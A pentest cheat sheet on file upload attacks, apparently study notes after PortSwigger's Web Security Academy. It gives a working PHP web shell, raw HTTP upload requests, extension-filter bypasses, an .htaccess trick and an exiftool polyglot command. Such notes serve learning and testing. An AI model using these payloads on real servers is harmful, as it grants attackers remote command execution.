# File uploads

* Heavily inspired by [PortSwigger - Web Security Academy](https://portswigger.net/web-security/file-upload)

## Unrestricted

If there is no validation in place at all, one can just upload a malicious file.

```php
<?php echo system($_GET['cmd']); ?>
```

| cmd         | description                                                          |
| ----------- | -------------------------------------------------------------------- |
| exec        | Execute an external program                                          |
| passthru    | Execute an external program and display raw output                   |
| shell\_exec | Execute command via shell and return the complete output as a string |
| system      | Execute an external program and display the output                   |

## Bypass file type validation

If there is no proper file type validation in place, it may be possible to send a valid `Content-Type` together with the malicious file.

```
POST /path HTTP/1.1
Host: website.com
Content-Length: 1337
Content-Type: multipart/form-data; boundary=---------------------------41688721411166396114242705702

---------------------------41688721411166396114242705702
Content-Disposition: form-data; name="image"; filename="cmd.php"
Content-Type: image/jpeg

<?php echo system($_GET['cmd']); ?>
---------------------------41688721411166396114242705702--
```

## Upload file to another directory (path traversal)

If the malicous file can be uploaded but is not executed by the webserver, it may be possible to upload it to another directory, from which execution is possible.

```
POST /path HTTP/1.1
Host: website.com
Content-Length: 1337
Content-Type: multipart/form-data; boundary=---------------------------41688721411166396114242705702

---------------------------41688721411166396114242705702
Content-Disposition: form-data; name="image"; filename="..%2fcmd.php"
Content-Type: image/jpeg

<?php echo system($_GET['cmd']); ?>
---------------------------41688721411166396114242705702--
```

## Bypass file type filtering

Sometimes insufficient blacklist filtering is in place, which may be bypassed.\
Instead of `.php` use extensions like `.php5` or `.shtml` etc.

If possible, also try to enable execution by placing an `.htaccess` file in the directory.

```
AddType application/x-httpd-php .php5
```

## Obfuscating file extensions

Depending on the validation mechanisms in place, some of the following may bypass them.

* Case sensitive, e.g. `cmd.pHp`
* Multiple extensions, e.g. `cmd.php.jpg`
* URL encoding, e.g. `cmd%2ephp`
* Null byte, e.g. `cmd.php%00.jpg`
* Semicolons, e.g. `cmd.php;.jpg`
* Multibyte encoding
* Non recursive filters, e.g. `cmd.p.phphp`

## Polyglot (php/jpg)

E.g. using exiftool to add php code in the comment field of a jpg.

```bash
exiftool -Comment="<?php echo system($_GET['cmd']); ?>" image.jpg -o polyglot.php
```
